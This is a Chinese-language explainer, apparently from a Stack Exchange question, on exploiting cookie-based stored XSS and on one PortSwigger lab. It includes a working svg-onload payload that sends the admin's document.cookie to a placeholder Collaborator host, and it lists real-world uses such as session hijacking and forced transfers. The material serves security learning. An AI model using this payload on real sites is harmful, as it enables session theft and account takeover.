Cookie型XSS漏洞实战利用方法及PortSwigger实验原理疑问

一、Cookie存在XSS漏洞的实战利用方式 #

当Cookie可被修改并嵌入脚本、且网站会在页面中解析Cookie值时，常见的实战利用手段包括：

• 窃取敏感信息：构造包含数据窃取逻辑的脚本，嵌入到Cookie值中。当页面渲染Cookie时触发脚本，将用户的Cookie、账号凭证等数据发送到攻击者控制的服务器。比如用fetch或<img>标签的src属性实现数据外带。
• 会话劫持：拿到目标用户的有效会话Cookie后，直接替换自己浏览器的对应Cookie，即可冒充目标用户登录系统，执行各类操作。
• 执行恶意操作：在脚本中模拟用户交互，比如自动点击转账按钮、提交资料修改表单，完成未授权的敏感操作。
• 钓鱼欺诈：通过脚本弹出伪造的登录、验证弹窗，诱骗用户输入账号密码、验证码等信息，再将数据发送给攻击者。

二、PortSwigger实验的攻击逻辑解析 #

实验背景 #

该实验中，网站的管理员会通过后台系统查看用户的会话Cookie日志，而这个后台页面存在存储型XSS漏洞——页面会直接将存储的Cookie值作为HTML内容渲染，未做任何转义处理。

核心疑问解答 #

1. 攻击运作逻辑
   你修改自身Cookie为恶意脚本内容后，这个Cookie会被网站存储到后台的会话日志中。当管理员访问后台的会话管理页面时，页面会把你的恶意Cookie值直接渲染到页面里，此时浏览器会解析并执行脚本。脚本中的fetch请求会将管理员的会话Cookie编码后发送到你的Burp Collaborator地址，你就能从Collaborator的日志中获取到管理员的Cookie，进而冒充管理员操作。

2. 管理员如何被利用
   管理员的后台页面存在存储型XSS漏洞：你的恶意Cookie被网站保存后，管理员查看日志时，页面没有对Cookie值做HTML转义，导致恶意脚本被当作合法页面代码执行。管理员的浏览器在不知情的情况下触发脚本，泄露了自身的会话凭证。

3. 修改自身Cookie为何能影响其他用户
   不是直接修改自身Cookie就影响管理员，而是你的恶意Cookie会被网站存储起来（比如会话日志、用户行为记录）。管理员访问包含该Cookie的后台页面时，页面的XSS漏洞让恶意脚本得以执行。本质是利用存储型XSS的传播链：攻击者把恶意脚本“存”在网站，管理员访问时“中招”。

恶意Cookie代码解析 #

实验中用到的恶意Cookie内容：

'""><svg/onload=fetch(`//YOUR-COLLABORATOR-PAYLOAD/${encodeURIComponent(document.cookie)}`)>:YOUR-SESSION-ID

• '""><svg/onload=：用来闭合后台页面中渲染Cookie时的原有HTML标签，确保<svg>标签能被正确识别，触发onload事件。
• fetch(...)：当<svg>加载完成时，将当前页面的document.cookie（即管理员的会话Cookie）URL编码后，拼接到Burp Collaborator的请求路径中，发送GET请求。攻击者通过Collaborator的请求日志就能获取管理员的Cookie。
• :YOUR-SESSION-ID：保留你自己的原有会话ID，确保修改Cookie后你仍能正常访问网站，维持会话状态。

内容的提问来源于stack exchange，提问作者my8833